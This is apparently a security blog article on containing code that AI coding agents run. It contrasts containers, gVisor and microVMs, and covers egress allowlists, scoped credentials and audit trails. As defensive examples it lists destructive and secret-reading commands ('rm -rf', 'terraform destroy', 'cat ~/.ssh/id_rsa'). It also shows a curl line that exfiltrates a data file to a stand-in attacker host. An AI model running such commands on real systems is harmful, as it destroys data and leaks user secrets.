< BACK_TO_INDEX
[AGENT SECURITY]2026.08.20 // 17 MIN READ

Your Agent Can Run Code. What Can That Code Reach?

In the last article, I looked at what happens when we give an agent access to Bash.

Some commands are easy to worry about:

rm -rf ./data
terraform destroy
cat ~/.ssh/id_rsa

We can block them, ask for approval, or restrict which tools the agent can invoke.

But what about this?

npm install

If we've asked an agent to upgrade a dependency, that's exactly what we want it to run.

The problem is that npm install doesn't just copy files into node_modules. Packages can execute lifecycle scripts such as preinstall, install, and postinstall. Those scripts can start processes, read files available to the current user, and make network requests.

There are mitigations. npm can disable lifecycle scripts with --ignore-scripts, for example.

But that still leaves the bigger question:

What should code we allow the agent to execute be able to affect?

That's where containment starts.

Authorization is not containment

I find it useful to separate a few controls that tend to get bundled together when we talk about agent security.

Control Question
Authorization Should this action run?
Containment What can it affect if it runs?
Network policy Where can it communicate?
Downstream authorization What can it do when it gets there?
Observability Can we reconstruct what happened?

A Bash policy can decide that npm install is acceptable.

It cannot tell us what a malicious postinstall script should be able to read from the machine.

That's a different control.

Agent containment is a chain of independent controls: authorization, sandbox, network policy, scoped identity, downstream authorization, and evidence

I had been putting "sandboxing" into one bucket

This was one of the things that clicked for me while digging into this.

I had been thinking about sandboxing almost as a yes-or-no control:

Is the agent sandboxed?

That turns out to be a pretty unhelpful question.

A container, gVisor, and a microVM can all be described as sandboxes, but the isolation boundary is very different in each case.

The kernel boundary was the piece that made the difference easier for me to reason about.

Host isolation and capability authority are separate dimensions. Containers share a host kernel, gVisor mediates the kernel interface, and microVMs use a separate guest kernel, while each environment can still be given narrow or broad authority.

This isn't a formal ranking.

The host-isolation side tells us one thing:

How much does code have to cross before it can affect the host?

It does not tell us how much authority we put inside that environment.

That's a separate question.

Host isolation tells us what code has to cross to affect the machine. Capability design tells us what the code can affect without escaping at all.

We need both.

Container: isolated workload, shared kernel

Let's stay with the dependency-upgrade example.

The agent needs to run:

npm install
npm test
npm run build

Instead of doing that directly on the developer machine, we put it in a container.

Containers use several Linux primitives together: namespaces, cgroups, capabilities, and, where configured, controls such as seccomp and AppArmor or SELinux.

But the workload still shares the host kernel.

Roughly:

Application
    |
Container runtime + isolation
    |
Host Linux kernel

That's one reason containers are lightweight and fast.

For trusted code, builds, and normal tests, that may be exactly the right trade-off.

But if code inside the container is hostile, the host kernel and container-runtime attack surface remain part of the boundary we're relying on.

Containers can be hardened substantially.

They just don't give the workload its own guest kernel.

Google makes this distinction in its GKE Sandbox guidance when discussing normal containers versus sandboxed runtimes for unknown or untrusted code.

gVisor: mediate access to the host kernel

gVisor changes that relationship without requiring us to jump all the way to a VM.

Instead of an application interacting with the host kernel in the same way it would in a normal container, gVisor implements much of the Linux interface inside a per-sandbox userspace application kernel.

Application system calls are intercepted and serviced through that layer, reducing how directly the workload can interact with the host kernel.

That additional mediation comes with trade-offs.

Some workloads can run into compatibility issues, and syscall-heavy applications may pay a performance cost.

So this isn't:

container, but better.

It is another trade-off.

This becomes more attractive when an agent starts executing code we didn't write or fully review: generated scripts, unfamiliar packages, user-submitted code, or an unknown repository.

MicroVM: give the workload its own kernel

A microVM moves the boundary again.

The workload gets a guest kernel of its own, separated from the host by a virtualization boundary.

Firecracker is one implementation of this model.

Kata Containers approaches the problem from the container side, giving workloads VM-backed isolation while preserving much of the container workflow.

This is a stronger host-isolation model, provided hardware virtualization is available and configured correctly.

It isn't a claim that VM escape is impossible.

Docker's current agent sandboxes use microVMs and give each sandbox its own kernel, filesystem, network, and Docker daemon. Those are properties of Docker's implementation, rather than things we should assume every microVM product provides.

The useful question is still:

What does hostile code have to cross before it reaches the host?

The same malicious package meets different host boundaries in a normal container, a gVisor-style sandbox, and a microVM

A remote environment is a deployment choice, not another rung on the ladder

It is tempting to put "remote VM" above microVM and call it the strongest option.

That's too simple.

A VM on another machine isn't inherently better isolated than a local microVM.

Its security depends on the hypervisor, tenancy model, mounts, credentials, network access, and the control plane around it.

What remote execution gives us is a different failure domain.

For an agent working unattended against an unknown repository, moving execution away from the laptop can be a very useful design choice.

But that's different from saying "remote" automatically means stronger isolation.

Stronger host isolation doesn't automatically mean smaller blast radius

Now take this microVM:

MicroVM
|
+-- production credential
+-- internal network access
+-- repository mounted read/write
+-- unrestricted internet

That's a strong host boundary.

It's also an extremely capable environment.

Compare it with:

Container
|
+-- disposable repository
+-- no ambient cloud credentials
+-- no host sockets
+-- github.com
+-- package registry

The container has a weaker kernel boundary.

But the second workload has far less authority.

So when someone tells me an agent is sandboxed, I want to know two things:

What exactly is the host-isolation boundary?

and:

What authority exists inside it?

And that's really what determines the blast radius, not just how hard the sandbox is to escape, but what we gave the agent access to in the first place.

A rough way to think about it is:

Practical blast radius
    =
isolation boundary
    +
filesystem access
    +
credential authority
    +
network reachability
    +
downstream privileges
    +
resource limits
    +
persistence

The right sandbox isn't necessarily the strongest one available.

It's the one that contains the failure modes the workload can realistically create.

Start with the failure we're trying to contain

That gives us a better way to choose controls.

The agent might edit the wrong file

I'm sitting at my Mac watching Pi refactor code I wrote.

The likely failure might simply be:

agent modifies something outside the repository

A filesystem or OS-level policy may be enough:

./payments-service     read/write
/tmp                   read/write

~/.ssh                 blocked
~/.aws                 blocked
other repositories     blocked

We don't need to put every TypeScript refactor inside a remote VM.

The agent is installing dependencies

Now we run:

npm install

We've crossed a different trust boundary.

The code executing is no longer entirely ours.

We can reduce that risk with package controls:

lockfiles
integrity hashes
trusted registries
dependency review
package provenance
--ignore-scripts where possible

But those answer a different question:

Did we get the dependency we expected?

Containment asks:

If the dependency executes anyway, what can it affect?

Supply-chain integrity and execution containment reinforce one another.

Neither replaces the other.

The agent is executing generated code

Now we should assume the code itself might behave unexpectedly.

This is where I would lean toward a gVisor-style sandbox or microVM.

The host boundary matters more because the workload itself is less trustworthy.

The agent has production credentials

This is a different problem again.

A microVM doesn't solve it.

Now we need:

sandbox
   +
short-lived scoped credential
   +
restricted network
   +
downstream authorization
   +
probably approval

Different failure, different controls.

Starting there makes more sense to me than picking a sandbox technology first.

Strong boundaries can be undone by what we pass through them

This is worth making concrete.

Imagine this:

MicroVM
|
+-- separate guest kernel      yes
+-- ~/.ssh mounted read/write  problem

Or:

Container
|
+-- /var/run/docker.sock
+-- ~/.kube/config
+-- SSH agent socket
+-- host $HOME

We may have created an isolation boundary and then deliberately passed powerful host capabilities straight through it.

Some of the places I'd look at first are:

Pi's own security guidance makes a similar point about workspace mounts: a read/write host bind mount still allows code inside the sandbox to modify those host files.

If we want stronger workspace separation, use a read-only mount, disposable worktree, private clone, or copy the workspace into and out of the execution environment.

What does this look like on a Mac?

This is where the trade-off gets practical.

A lot of the value of a local coding agent comes from the loop:

cd payments-service
pi

> upgrade the auth dependency

agent reads
agent edits
agent installs
agent tests

review diff
continue

We don't want every small change to become:

push
start remote environment
wait
pull result
continue

So local containment is a balance between how much autonomy we're giving the agent and how much friction we're willing to introduce.

Pi is useful here because its security model is explicit: by default, Pi runs with the permissions of the user that starts it. Stronger isolation has to be added around it. See Pi security.

Small supervised change

A lightweight local setup might look like:

Mac
|
+-- ~/.ssh                  blocked
+-- cloud credentials       blocked
|
+-- payments-service        read/write
         |
         v
        Pi
         |
     local policy

Pi includes an example that can apply macOS sandbox policy to Bash execution, including filesystem and network rules.

There is an important caveat here.

Apple has deprecated the sandbox-exec command-line interface used by this style of Seatbelt policy.

That doesn't make it useless as a local guardrail today, but I wouldn't build a durable product-security architecture around that interface without testing it carefully on the macOS versions we intend to support.

It also only confines the processes that actually go through it.

Let Pi execute more code

Now imagine I'm asking it to upgrade dependencies, run migrations, and execute generated test code.

Pi can remain on the Mac while tool execution moves behind a stronger boundary:

Mac

Pi / model interaction
        |
        v
+--------------------+
| sandbox / microVM  |
|                    |
| repository         |
| npm                |
| bash               |
| tests              |
| generated code     |
+--------------------+

Pi documents patterns for doing this using containers and microVMs. See Pi containerization.

There is an important catch.

Pi extensions execute with the permissions of the Pi process itself.

A trusted project-local extension is still executable code after we've granted trust to that project. Project trust is not runtime confinement.

So if Pi stays on my Mac and only Bash gets routed into the VM, I shouldn't claim that all agent execution is isolated.

The boundary only applies to the execution paths we've forced through it.

Move the whole agent

If the agent is going to work mostly unattended, the cleaner model is to move Pi, its extensions, and its tools inside the same boundary.

Mac
 |
 +---------------------------+
 | Sandbox / VM              |
 |                           |
 | Pi                        |
 | extensions                |
 | repository                |
 | package manager           |
 | bash                      |
 |                           |
 +-------------+-------------+
               |
          network policy

We give up some convenience.

We gain a much cleaner security statement:

Everything the agent runs lives inside this boundary.

For some workloads, that's worth the trade.

The network is part of the capability

Go back to our dependency upgrade.

The agent needs to download a package.

Does that mean it needs the internet?

Probably not.

It needs something closer to:

Agent sandbox
      |
      v
  Egress policy
      |
      +---- DNS
      +---- github.com
      +---- registry.npmjs.org
      +---- model endpoint
      |
      X---- arbitrary internet
      X---- production
      X---- internal networks
      X---- cloud metadata

Now imagine the compromised dependency runs:

curl https://attacker.example/upload \
  --data-binary @./data.csv

There are several controls hiding in that one command.

Can the process read data.csv?

Can DNS resolve the destination?

Can the resulting connection leave the sandbox?

Does the environment contain a credential worth stealing?

We don't have to rely entirely on the agent recognizing the command as malicious.

If policy denies the destination, the network layer can block that exfiltration path even when npm install itself was an allowed action.

This is why I increasingly think of network access as a capability.

The workload doesn't need "the internet."

It needs GitHub.

It needs npm.

Maybe it needs one internal API.

Give it those things.

Real implementations still need to deal with DNS, redirects, TLS validation, CDNs, proxies, and package-registry behavior. A hostname allowlist isn't magic.

But that's an implementation problem, not an argument for giving the workload unrestricted egress.

Docker's agent sandbox security model and E2B's network controls are useful examples of network access being treated separately from the execution sandbox itself.

A credential should not automatically imply a network path

Suppose the agent needs to push a branch.

We give it a GitHub credential.

That shouldn't mean:

valid GitHub token
=
general network access

We can make it narrower:

Agent session
       |
       v
short-lived GitHub credential
       |
       | repo: payments-service
       | actions: branch + PR
       v
network: github.com
       |
       v
GitHub authorization

The network rule alone doesn't control what the agent can do in GitHub.

GitHub's own repository and token permissions still matter.

Several things need to line up before the operation succeeds:

  1. the action is allowed;
  2. execution happens inside its defined boundary;
  3. the sandbox can reach the required destination;
  4. it has the right credential;
  5. the downstream service allows the operation.

There isn't one security control carrying all of that.

There shouldn't be.

Resources and persistence are part of the boundary too

Containment isn't only about secrets or escaping the host.

An agent that can fill the disk, fork processes indefinitely, or burn through API quotas can still cause damage without escaping anything.

CPU, memory, disk, process limits, timeouts, concurrency controls, and spend limits belong in the same conversation.

Persistence matters for the same reason.

If the task doesn't need state to survive, destroy the environment when it's done. That removes old credentials, temporary files, package artifacts, and previous agent state from the next run.

The same thinking applies in the cloud

Once the agent becomes a cloud workload, this starts to look familiar:

Agent control plane
        |
        v
+--------------------------+
| Sandboxed workload       |
|                          |
| repository               |
| generated code           |
| resource limits          |
| workload identity        |
+------------+-------------+
             |
             v
       Network policy
        /          \
    GitHub       registry

Google's GKE Agent Sandbox is one example of this direction: isolated environments intended for agent workloads, stronger runtime isolation, and explicit network policy.

Docker is bringing similar ideas closer to local coding agents with microVM-based sandboxes.

The technology will keep changing.

The security model is familiar:

workload isolation
+
least ambient authority
+
restricted network
+
scoped identity
+
downstream authorization
+
resource governance

We've been doing versions of this for services for years.

Agents make it more important to be explicit about where those boundaries are.

We should also be able to explain what happened

There is one more piece I don't want to lose: evidence.

If our malicious package tries:

curl https://attacker.example/upload

and the sandbox blocks it, I want more than:

connection failed

Ideally we can reconstruct:

Pi session
    |
    v
npm install
    |
    v
postinstall child process
    |
    v
DNS: attacker.example
    |
    v
egress policy: DENY
    |
    v
reason: destination not allowed

For a real enterprise workflow, we'd want to correlate more:

initiating human / business process
agent session
repository / project
tool call
process execution
filesystem changes
credential issuance
DNS / network decision
downstream API call
result

Application logs tell us what the agent intended.

Runtime telemetry tells us what executed.

Network telemetry tells us where it tried to communicate.

Identity logs tell us what credential was issued.

The downstream service tells us what actually changed.

For unattended agents, that correlation becomes part of the security control.

So what should we actually give the agent?

I don't think the conclusion is that every agent should run in a microVM.

That would be too easy.

A reasonable starting point might look like this:

Agent workload Boundary worth considering
Refactor trusted code while supervised OS/filesystem policy
Run known tests and builds Container
Install external dependencies Container or stronger sandbox
Execute generated/untrusted code gVisor-style sandbox / microVM
Work against unknown repositories MicroVM / separately administered executor
Operate unattended Whole-agent sandbox / remote environment
Hold cloud credentials Strong sandbox + task-scoped identity + egress controls
Make production changes Dedicated executor + approval + downstream authorization

The exact row isn't the important part.

We should be able to explain why the control matches the failure we're trying to contain.

If an agent only needs:

one repository
npm
GitHub

then give it:

one repository
npm
GitHub

Not:

my home directory
my SSH agent
my cloud credentials
my corporate network
and the rest of the internet

simply because those things happened to be available when the process started.

Most of the controls here aren't new.

What agents change is how much execution we're willing to delegate between human decisions.

We don't need every one of those decisions to be perfect.

We should design the environment assuming that eventually one of them won't be.

The relevant question isn't:

Is the agent sandboxed?

It is:

What protects the host, and what authority did we deliberately place inside that boundary?

The blast radius should be something we choose.


Sandboxing projects worth exploring

These aren't rankings or endorsements. They're useful examples of the different boundaries discussed above.

Coding agents and local development

Isolation building blocks

Cloud and hosted environments

When evaluating any of them, I'd start with two questions:

What exactly is the isolation boundary?

and:

What capabilities are still available inside it?

Those two answers tell us far more than the word sandbox does.

How I used AI

I used AI as a research partner and editor while developing this article. The security model and opinions are mine. I used AI to challenge the technical framing, compare sandbox approaches, check claims against current documentation, and tighten the writing. I also used external research to pressure-test the distinction between host isolation and capability authority before publishing it.